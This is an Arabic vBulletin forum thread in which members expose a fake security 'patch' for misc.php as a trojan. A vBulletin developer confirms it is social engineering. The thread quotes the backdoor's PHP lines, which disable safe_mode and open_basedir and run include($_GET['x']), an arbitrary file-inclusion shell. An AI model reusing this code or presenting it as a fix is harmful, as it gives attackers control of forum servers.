الموضوع: اللي نكروا الموضوع misc.php

شباب يلي عنده ملف الترقيع ياريت يرسله مره اخرى حتى اقوم بفحصه مره اخرى

المشاركة الأصلية كتبت بواسطة The Shifty

السلام عليكم و رحمة الله و بركاته

هنا الثغرة

لقيتها في منتدى ثاني و حبيت أنشرها لكم


الثغرة أكتشفت بعد صدور النسخة 3.6.2
و هي موجودة بكل النسخ

ملفات الترقيع هنااااااااااااااااا http://www.m5zn.com/download3.php?fi...0a56121fd2.zip

وأنا جربت الثغرة على منتداكم و هي شغاااااااااااااااااااااااااااااالة و تمكنت من دخول الشل و العبث بكل شئ إلا أن نفسي لم تطاوعني

و السلام عليكم و رحمة الله و بركاته

لا يا شيخ تكذب عيني عينك بعد !!

تحسب اللي في المنتدى اغبياء عشان يصدقونك؟


شف هالحركة القذرة اللي موجودة في ملف الترقيع اللي تدعيه !!

كود PHP:

$f=trim($f); 

echo ini_get("safe_mode"); 

echo ini_get("open_basedir"); 

include("$f"); 

ini_restore("safe_mode"); 

ini_restore("open_basedir"); 

echo ini_get("safe_mode"); 

echo ini_get("open_basedir"); 

include("$f"); 

include($_GET['x']); 


ياليت من طردك تحسب اللي في المنتدى اغبياء مثلك

كفشوه كفشوه

الحمدلله والشكر ... وهذي شنو ؟؟

echo ini_get("open_basedir");

يعني تبغي اتبيعينا طماط خايس

بس الغريبه وين المشرفين ؟؟ :con2:

Hi,

There is no security flaw. This is simple an attempt to use social engineering to get you to apply malicious code to your board.

Never use unofficial patches or code releases.

Mike Sullivan
Developer Team, vBulletin

http://www.vbulletin.com/
mailto:support@vbulletin.com


شباب لا تصدقووووووووووووووووووووا ابدا انا نسيت الموضوع اصلا بس وين المشرفين !!!!!!!!!!!!!!!!!!!!!!!

الاخ بركات بدون ما تراسل vbulletin الكود واضح وضوح الشمس

و انا بلغت عن مشاركة هالعضو لكن ما ادري هل هي وصلت و الا لا

تم التبلـيغ // [ : ]

سيتم التبليغ للمره الثالثه ...

شكراً لكل من بلغ، و آسف على التأخر ... سيتم اغلاق الموضوع مع تحذير The Shifty يمكن الاخ طيب و على نياته و مادري وش الطبخه و نقل الموضوع بالملف الملغوم على انه ترقيع و هو ما يدري .. راح افترض حسن النية و ما راح يتم الايقاف.